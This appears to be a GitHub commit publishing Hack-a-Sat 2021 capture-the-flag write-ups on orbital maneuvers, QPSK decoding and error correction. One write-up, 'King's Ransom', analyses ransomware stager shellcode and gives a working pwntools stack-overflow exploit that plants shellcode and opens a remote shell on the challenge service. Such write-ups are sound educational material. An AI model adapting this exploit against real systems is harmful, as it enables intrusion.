Skip to content

Commit 5865724

Browse files
committed
publish 5 hack-a-sat writeups
1 parent e76a96d commit 5865724

File tree

9 files changed

+729
-0
lines changed

9 files changed

+729
-0
lines changed

hackasat2021/cotton-eye-geo/readme.md

+69
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
In this problem we are given a position and velocity for a satellite in Earth
2+
orbit, and asked to give a time and delta-v for one maneuver to bring us to
3+
a new orbit.
4+
5+
Plotting the current orbit, we can see it is an elliptical orbit already in
6+
the correct plane, and with the apogee at the desired altitude for the
7+
target circular orbit.
8+
9+
For anyone with a bit of orbital mechanics knowledge (or who has ever played
10+
Kerbal Space Program), this makes the maneuver trivial: at the apogee, simply
11+
increase thrust in the prograde direction until we raise the perigee to
12+
the same altitude.
13+
14+
This could be done with math, or with a simple python program.
15+
16+
```python
17+
from orbital import earth, KeplerianElements, Maneuver, plot, plot3d
18+
from scipy.constants import kilo
19+
import numpy
20+
from datetime import datetime, timedelta
21+
22+
# the state vector we are given for our satellite
23+
r = numpy.array([8449.401305, 9125.794363, -17.461357])
24+
v = numpy.array([-1.419072, 6.780149, 0.002865])
25+
# the current time
26+
ts = "2021-06-26-19:20:00.000000-UTC"
27+
tf = "%Y-%m-%d-%H:%M:%S.%f-UTC"
28+
tt = datetime.strptime(ts, tf)
29+
30+
orbit = KeplerianElements.from_state_vector(r*kilo, v*kilo, earth)
31+
32+
# the target (circular) orbit
33+
target_a = 42164*kilo
34+
target_e = 0.005
35+
36+
target_orbit = KeplerianElements.with_altitude(target_a, body=earth)
37+
38+
# figure out at what time our position reaches our perigee
39+
while True:
40+
orbit.propagate_anomaly_by(M=0.001)
41+
if abs(numpy.linalg.norm(orbit.r) - target_a) < (2*kilo):
42+
break
43+
44+
# estimate the speed we want
45+
needed_vel = numpy.linalg.norm(target_orbit.v)
46+
47+
# apply that same speed in the prograde direction
48+
v_est = orbit.r/numpy.linalg.norm(orbit.r) * needed_vel
49+
v_est = numpy.array([v_est.x, -v_est.y, v_est.z])
50+
51+
# search +/- 10% to get the velocity just right
52+
best_v = None
53+
best_e = 1
54+
for x in numpy.arange(0.9,1.1,0.00005):
55+
orbit2 = KeplerianElements.from_state_vector(orbit.r, v_est*x, earth)
56+
if abs(orbit2.a - target_a) < 10*kilo and orbit2.e < 0.0009 and orbit2.e < best_e:
57+
best_e = orbit2.e
58+
best_v = v_est*x
59+
60+
mtime = tt + timedelta(seconds=orbit.t)
61+
move = (best_v - orbit.v)/1000
62+
print("vel: ", move[0], move[1], move[2])
63+
print("ts: ", datetime.strftime(mtime, tf))
64+
65+
mtime = tt + timedelta(orbit.t)
66+
```
67+
68+
This will print out the delta-V and the time of the maneuver. Sending that to
69+
the server will return us the flag.

hackasat2021/credence/readme.md

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
We are given a file containing IQ data and told to decode it.
2+
3+
Plotting the I and Q data as x and y values in a plot, we see the values nicely
4+
align themselves into four quadrants, indicating the data is transmitted with
5+
QPSK. From there, we still need to determine which quadrant corresponds to
6+
which two-bit symbol. Luckily there are not many possibilities and we can try
7+
them all until one works.
8+
9+
The following quick script decodes the data and prints the flag (as well as
10+
some extra data which matches up with CCSDS headers):
11+
12+
```python
13+
cs = [eval(x) for x in open("iqdata.txt").read().splitlines() if x]
14+
15+
def radio(x):
16+
if x.real < 0:
17+
if x.imag < 0:
18+
return 1
19+
return 0
20+
else:
21+
if x.imag < 0:
22+
return 2
23+
return 3
24+
25+
qpsk = [radio(c) for c in cs][::4]
26+
27+
comp = bytes.fromhex(hex(int("".join((["{:02b}".format(q) for q in qpsk])),2))[2:])
28+
print(comp)
29+
```

hackasat2021/error-correct/readme.md

+96
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
This challenge just tells us there is important telemetry but with a bit error
2+
which prevents us from decoding it.
3+
4+
Again we are given a file which appears to be IQ data, and plotting it
5+
(while excluding a few samples at the beginning which seem noisey) gives a
6+
nice QPSK constellation, indicating QPSK data.
7+
8+
Attempting to decode this similar to the previous challenge with CSSDS data
9+
encoded with QPSK doesn't seem to work. Based on the name of the challenge, it
10+
seems pretty clear that there is some error correction involved.
11+
12+
Unfortunately with so many error correcting codes to choose from combined with
13+
so many ways to read the QPSK symbols, as well as not knowing the correct bit
14+
offset, it seems an overwhelming number of possibilities to test. Searching
15+
[online](https://destevez.net/2017/01/coding-for-hit-satellites-and-other-ccsds-satellites/)
16+
for guidance, it seems that there is a particular error correcting code used by
17+
CCSDS satellites. Luckily this seems to be available in python through
18+
scikit-dsp.
19+
20+
After trying this a bit, it doesn't appear to Just Work with our solution from
21+
the previous problem (or the error correction is wrong). And unfortunately it
22+
is slow to enumerate and look through everything. The previous cited blog also
23+
mentions a synchronization word used by CCSDS to indicate the start of packets,
24+
which can help us to determine if our data is correctly encoded and find the
25+
proper bit offsets.
26+
27+
With this, we code up a search using the assumed error correcting code,
28+
enumerating through possible symbol decodings for the QPSK, and searching for
29+
the synchronization word to find the right decoding and bit offsets.
30+
31+
Luckily we find the sychronization word in a possible choice for the QPSK
32+
decoding, and use this to sychronize our bitstream and recover the flag.
33+
34+
The following python code implements this solution and prints the flag:
35+
36+
```python
37+
import numpy as np
38+
import sk_dsp_comm.fec_conv as fec
39+
import itertools
40+
41+
odata = np.fromfile("intermediate.bin", dtype="<c8")
42+
43+
# synchronization word to search for
44+
syncword = "{:032b}".format(0x1acffc1d)
45+
46+
cc1 = fec.FECConv(('1011011','1111001'), 10)
47+
48+
def search():
49+
for offset in range(-4, 4+1):
50+
data = odata[85 + 4 * offset::4]
51+
52+
# import matplotlib.pyplot as plt
53+
# plt.plot(data.real, data.imag, ".-")
54+
# plt.show(block=True)
55+
56+
import itertools
57+
58+
quadrants = [(0, 0), (0, 1), (1, 0), (1, 1)]
59+
for perm in itertools.permutations([0,1,2,3]):
60+
tmap = dict(zip(quadrants, perm))
61+
62+
bits = np.array([data.real > 0, data.imag > 0], dtype=int).T
63+
bitstring = []
64+
prev = 0
65+
for chunk in bits:
66+
v = tmap[tuple(chunk)]
67+
bitstring.append(v % 4)
68+
prev = v
69+
70+
bitstring = "".join(map(str, bitstring))
71+
bs = []
72+
prev = 0
73+
for i in range(0, len(bitstring), 4):
74+
byte = int(bitstring[i:i+4], 4)
75+
v = byte
76+
bs.append(f"{v:08b}")
77+
prev = byte
78+
79+
print(offset, perm)
80+
bs = np.asarray([int(c) for c in "".join(bs)])
81+
bs_fec = cc1.viterbi_decoder(bs, 'hard')
82+
bitstream = "".join(str(int(c)) for c in bs_fec)
83+
if syncword in bitstream:
84+
print("syncword found!")
85+
print( bitstream )
86+
# start of bitstream is where we found the syncword
87+
syncd = bitstream[bitstream.index(syncword):]
88+
89+
# truncate it to a multiple of 8 bits to make our life easier
90+
truncated = syncd[:-(len(syncd) % 8)]
91+
92+
# finally convert to ascii
93+
return (bytes.fromhex(hex(int(truncated, 2))[2:]))
94+
95+
print(search())
96+
```

hackasat2021/kings-ransom/readme.md

+150
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
## King's Ransom
2+
3+
### Background
4+
5+
> A vulnerable service with your "bank account" information running on the target system. Too bad it has already been exploited by a piece of ransomware. The ransomware took over the target, encrypted some files on the file system, and resumed the executive loop.
6+
>
7+
> Follow the footsteps.
8+
9+
We are provided with two files: challenge binary and libc.so.
10+
11+
### Analysis
12+
13+
The background information gives us an important detail: this is a vulnerable service that can be exploited. We need to first find a way to exploit the service ourselves, then we can figure out what the attacker did post-exploitation.
14+
15+
The main loops reads in a packet of data then calls a function pointer based on fields in the packet. The packet format is:
16+
17+
```
18+
struct pkt {
19+
uint8_t magic0;
20+
uint8_t magic1;
21+
uint16_t length;
22+
uint16_t cksum;
23+
uint8_t fn0;
24+
uint8_t fn1;
25+
uint8_t data[];
26+
}
27+
```
28+
29+
The `fn0` and `fn1` fields determine which function pointer is called from the table. The 4x4 table contains 16 function pointers, which are set using `set_fn` at `0x4015DB`. By looking at cross references to the table and to `set_fn`, we find that there are 8 possible functions: `fn_0_0`, `fn_1_0`, `fn_1_1`, `fn_2_0`, `fn_2_1`, `fn_3_0`, `fn_3_3`, and `fn_default`.
30+
31+
Packets are created by `encode_data` at `0x40139B` and are parsed by `decode_data` at `0x401445`. We also see that there is a function that reads in two flags (flag1.txt and bank/flag2.txt) and runs `fn_2_1` on the each flag.
32+
33+
`fn_2_0` reads data from a global buffer that was mapped at `0x12800000` with RWX permissions. `fn_2_1` writes data to the same global buffer. For example, the function that read in the two flags stored them in the global buffer at indices 0 and 32, respectively.
34+
35+
If we read from the global buffer using `fn_2_0`, instead of flags, we get back binary data that looks suspiciously like shellcode:
36+
37+
```
38+
0x0000000000000000: F3 0F 1E FA endbr64
39+
0x0000000000000004: 55 push rbp
40+
0x0000000000000005: 48 89 E5 mov rbp, rsp
41+
0x0000000000000008: 48 83 EC 30 sub rsp, 0x30
42+
0x000000000000000c: B8 40 40 40 00 mov eax, 0x404040
43+
0x0000000000000011: 48 8B 00 mov rax, qword ptr [rax]
44+
0x0000000000000014: 48 89 45 F8 mov qword ptr [rbp - 8], rax
45+
0x0000000000000018: BA 30 11 11 00 mov edx, 0x111130
46+
0x000000000000001d: 48 8B 45 F8 mov rax, qword ptr [rbp - 8]
47+
0x0000000000000021: 48 29 D0 sub rax, rdx
48+
0x0000000000000024: 48 89 45 F0 mov qword ptr [rbp - 0x10], rax
49+
0x0000000000000028: 48 8B 45 F8 mov rax, qword ptr [rbp - 8]
50+
0x000000000000002c: 48 89 45 E8 mov qword ptr [rbp - 0x18], rax
51+
0x0000000000000030: BA 20 BA 11 00 mov edx, 0x11ba20
52+
0x0000000000000035: 48 8B 45 F0 mov rax, qword ptr [rbp - 0x10]
53+
0x0000000000000039: 48 01 D0 add rax, rdx
54+
0x000000000000003c: 48 89 45 E0 mov qword ptr [rbp - 0x20], rax
55+
0x0000000000000040: 48 8B 45 E0 mov rax, qword ptr [rbp - 0x20]
56+
0x0000000000000044: 41 B9 00 00 00 00 mov r9d, 0
57+
0x000000000000004a: 41 B8 00 00 00 00 mov r8d, 0
58+
0x0000000000000050: B9 22 00 00 00 mov ecx, 0x22
59+
0x0000000000000055: BA 07 00 00 00 mov edx, 7
60+
0x000000000000005a: BE 00 10 00 00 mov esi, 0x1000
61+
0x000000000000005f: BF 00 00 00 00 mov edi, 0
62+
0x0000000000000064: FF D0 call rax
63+
0x0000000000000066: 48 89 45 D8 mov qword ptr [rbp - 0x28], rax
64+
0x000000000000006a: 48 C7 45 D0 00 00 00 00 mov qword ptr [rbp - 0x30], 0
65+
0x0000000000000072: 48 8D 45 D0 lea rax, [rbp - 0x30]
66+
0x0000000000000076: 48 8B 4D E8 mov rcx, qword ptr [rbp - 0x18]
67+
0x000000000000007a: BA 04 00 00 00 mov edx, 4
68+
0x000000000000007f: 48 89 C6 mov rsi, rax
69+
0x0000000000000082: BF 00 00 00 00 mov edi, 0
70+
0x0000000000000087: FF D1 call rcx
71+
0x0000000000000089: 48 8B 55 D0 mov rdx, qword ptr [rbp - 0x30]
72+
0x000000000000008d: 48 8B 45 D8 mov rax, qword ptr [rbp - 0x28]
73+
0x0000000000000091: 48 8B 4D E8 mov rcx, qword ptr [rbp - 0x18]
74+
0x0000000000000095: 48 89 C6 mov rsi, rax
75+
0x0000000000000098: BF 00 00 00 00 mov edi, 0
76+
0x000000000000009d: FF D1 call rcx
77+
0x000000000000009f: 48 8B 45 D8 mov rax, qword ptr [rbp - 0x28]
78+
0x00000000000000a3: FF D0 call rax
79+
0x00000000000000a5: C9 leave
80+
0x00000000000000a6: C3 ret
81+
```
82+
83+
This shellcode reads the GOT entry for `read` and uses it to figure the base address of `libc.so` which was provided to us. The shellcode does not give us very much information since it is a stager that allocates another RWX memory page, reads in additional shellcode, and executes it.
84+
85+
While the shellcode is a dead-end for now, it does tell us that there should be a vulnerability that allows us to execute shellcode at address `0x12800000`.
86+
87+
### Solution
88+
89+
After looking through each of the functions that we can run, we notice that the `decode_data` function will blindly copy data into the destination buffer. While this function is usually called by a wrapper function that uses `malloc` to allocate a large enough buffer, `fn_1_1` calls it directly.
90+
91+
```
92+
int __fastcall fn_1_1(pkt_t *a1)
93+
{
94+
int v1; // xmm0_4
95+
int v2; // xmm0_4
96+
int v3; // xmm0_4
97+
int v5[3]; // [rsp+14h] [rbp-Ch] BYREF
98+
99+
decode_data(a1, v5);
100+
*(float *)&v1 = 0.01 * *(float *)v5 + *(float *)&dword_404090;
101+
dword_404090 = v1;
102+
*(float *)&v2 = 0.01 * *(float *)&v5[1] + *(float *)&dword_404094;
103+
dword_404094 = v2;
104+
*(float *)&v3 = 0.01 * *(float *)&v5[2] + *(float *)&dword_404098;
105+
dword_404098 = v3;
106+
return 1;
107+
}
108+
```
109+
110+
If we send a packet with a large amount of data, it will overflow the `v5` stack array and we can control the return address.
111+
112+
Exploitation is very simple. First we store some shellcode on the RWX page using `fn_2_1`. Then we run `fn_1_1` and overflow the stack buffer. We can use pwntools to build shellcode that gives us shell:
113+
114+
```
115+
from pwn import *
116+
context.arch = 'amd64'
117+
r = remote('wealthy-rock.satellitesabove.me', 5010)
118+
119+
r.recvuntil('Ticket please:\n')
120+
r.sendline('ticket{...}')
121+
122+
r.recvuntil('Starting up Service on tcp:')
123+
host, port = r.recvuntil(b'\n').strip().split(b':')
124+
125+
r2 = remote(host, int(port))
126+
127+
def cksum(s):
128+
x = 0x1d0f
129+
for c in s:
130+
x ^= c << 8
131+
for n in range(8):
132+
if x & 0x8000:
133+
x = (2 * x) ^ 0xa02b
134+
else:
135+
x = 2 * x
136+
return x & 0xffff
137+
138+
fn0 = 2
139+
fn1 = 1
140+
data = p16(0) + p16(64) + asm(shellcraft.amd64.linux.sh())
141+
r2.send(p8(0x55) + p8(0xaa) + p16(len(data)) + p16(cksum(data)) + p8(fn0) + p8(fn1) + data)
142+
143+
fn0 = 1
144+
fn1 = 1
145+
data = b'A' * 12 + p64(0) + p64(0x12800000)
146+
r2.send(p8(0x55) + p8(0xaa) + p16(len(data)) + p16(cksum(data)) + p8(fn0) + p8(fn1) + data)
147+
r2.interactive()
148+
```
149+
150+
Once we have a shell, we can `cat flag1.txt` and get the flag.

0 commit comments

Comments
 (0)